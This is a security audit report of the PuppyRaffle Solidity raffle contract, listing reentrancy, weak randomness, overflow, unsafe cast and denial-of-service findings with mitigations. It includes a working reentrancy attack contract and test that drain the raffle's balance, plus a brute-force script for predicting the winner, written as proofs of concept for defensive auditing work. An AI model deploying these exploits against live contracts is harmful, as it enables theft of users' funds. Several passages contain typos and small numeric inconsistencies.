PuppyRaffle Audit Report

Version 1.0

https://github.com/segonse

June 7, 2024

PuppyRaffle Audit Report

Segon

June 7, 2024

Prepared by: Segon Lead Auditors: - Segon

Table of Contents

    * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Informational
    * [I-1]: Solidity pragma should be specific, not wide
    * [I-2]: Using an outdated version of Solidity is not recommended.
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` dose not follow CEI, which is not the best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle::_isActivePlayer` si never used and should be removed
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Segon team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas Optimizations	2
Total	16

Findings

High

[H-1] Reentrancy in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function dose not follow CEI (Checks ,Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>          payable(msg.sender).sendValue(entranceFee);
7
8  @>          players[playerIndex] = address(0);
9          emit RaffleRefunded(playerAddress);
10     }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the

`PuppyRaffle::refund` function again and claimanother refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contarct with a `fallback`/`receive` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contarct balance.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_reentrancyRefund() public {
        // player 1,2,3 Store in Ether, then attack contract deposit in Ether and Reentrancy attack and pick up the contract all Ether!
        address[] memory players = new address[](3);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        assert(address(puppyRaffle).balance == 3 ether);

        reentrancyAttack = new ReentrancyAttack(address(puppyRaffle));
        address[] memory attack = new address[](1);
        attack[0] = address(reentrancyAttack);
        puppyRaffle.enterRaffle{value: entranceFee}(attack);
        assert(address(puppyRaffle).balance == 4 ether);

        reentrancyAttack.attack();
        assert(address(puppyRaffle).balance == 0 ether);
        assert(address(reentrancyAttack).balance == 4 ether);
    }
```

And this contarct as well.

```
contract ReentrancyAttack {
    PuppyRaffle puppyRaffle;

    constructor(address victim) {
        puppyRaffle = PuppyRaffle(victim);
```

```
6       }
7
8       function attack() public {
9           puppyRaffle.refund(3);
10      }
11
12      receive() external payable {
13          if (address(puppyRaffle).balance >= 1 ether) {
14              puppyRaffle.refund(3);
15          }
16      }
17  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1     function test_randomnessDueToPredictableWinner() public
          playersEntered {
2         address attacker = makeAddr("attacker");
3         address[] memory player = new address[](1);
4         player[0] = attacker;
5         puppyRaffle.enterRaffle{value: entranceFee}(player);
6         vm.warp(puppyRaffle.raffleStartTime() + puppyRaffle.
              raffleDuration() + 1);
7         vm.roll(block.number + 1);
8
9         uint256 i = 1;
10        while (true) {
11            // address[] memory players = puppyRaffle.players;
12            uint256 winnerIndex =
13                uint256(keccak256(abi.encodePacked(address(this), block
                      .timestamp, block.difficulty))) % 5;
14            address winner = puppyRaffle.players(winnerIndex);
15            if (winner == attacker) {
16                break;
17            }
18            // if no change block.timestamp, result will not change,
                  here we simulate the passage of time of reality and
                  blockchain
19            vm.warp(puppyRaffle.raffleStartTime() + puppyRaffle.
                  raffleDuration() + i);
20        }
21        puppyRaffle.selectWinner();
22        assert(puppyRaffle.previousWinner() == attacker);
23    }
24 }
```

Recommended Mitigation: Consider using a cryptographically provable random number generator

such as Chainlink VRF.

[H-3] Interger overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// Decimal: 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumutated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may noy collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// It should be 18600000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Recommended Mitigation: There are a few possible migifations.

1. Use a newer version of solidity, and a `uint256` instead of `uin64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Midium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. Howerver , the longer the `PuppyRaffle::enterRaffle` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additonal address in the `players` array, is an additional check the loop will have to make.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       totalFees = totalFees + uint64(fee);
```

Impact: In `PuppyRaffle::selectWinner`, `fee` will be accumulated to `totalfees` ,`totalFees` are accumutated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, unsafe cast of `PuppyRaffle::fee`, the `feeAddress` may noy collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We assume a raffle have 100 players 2. The fee should be equal to 2000000000000000000, but typr(uint64).max = 18446744073709551615 3. In solodity, define a uint256 value as 18000000000000000000, and echo cast it to uint64, it will be equal to 1553255926290448384

Proof of Code:

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1       function test_unsafeCast() public view {
2           uint256 fee = 20000000000000000000;
3           console.log("uint64(fee) = ", uint64(fee));
4       }
```

Recommended Mitigation: 1. Use a newer version of solidity 2. Don't use unsafe cast of a `uint256` to a `uint64`.

```
- totalFees = totalFees + uint64(fee);
+ totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the raffle without a fallback or receive function.
2. The raffle ends
3. The `selectWinner` function wouldn't work, even though the raffle is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants.(not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended) > Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::getActivePlayerIndex` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
```

```
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }

        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documetation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `uint256` where the function returns -1 if the player is not active.

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 168

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` dose not follow CEI, which is not the best practice

```
1 -         (bool success,) = winner.call{value: prizePool}("");
2 -         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3           _safeMint(winner, tokenId);
4 +         (bool success,) = winner.call{value: prizePool}("");
5 +         require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of “magic” numbers is discouraged

It can be confusing to see number literals in a codebase, and it’s much more readable if the numbers are given a name.

Examples:

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
2           uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1           uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2           uint256 public constant FEE_PERCENTAGE = 20;
3           uint256 public constant PRIZE_PRECISION = 100;
4           uint256 prizePool = (totalAmountCollected *
               PRIZE_POOL_PERCENTAGE) / PRIZE_PRECISION;
```

```
5           uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
               PRIZE_PRECISION;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle::_isActivePlayer` si never used and should be removed

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+         uint256 playerLegth = newPlayers.length;
-         for (uint256 i = 0; i < newPlayers.length; i++) {
+         for (uint256 i = 0; i < playerLength; i++) {
              players.push(newPlayers[i]);
          }
```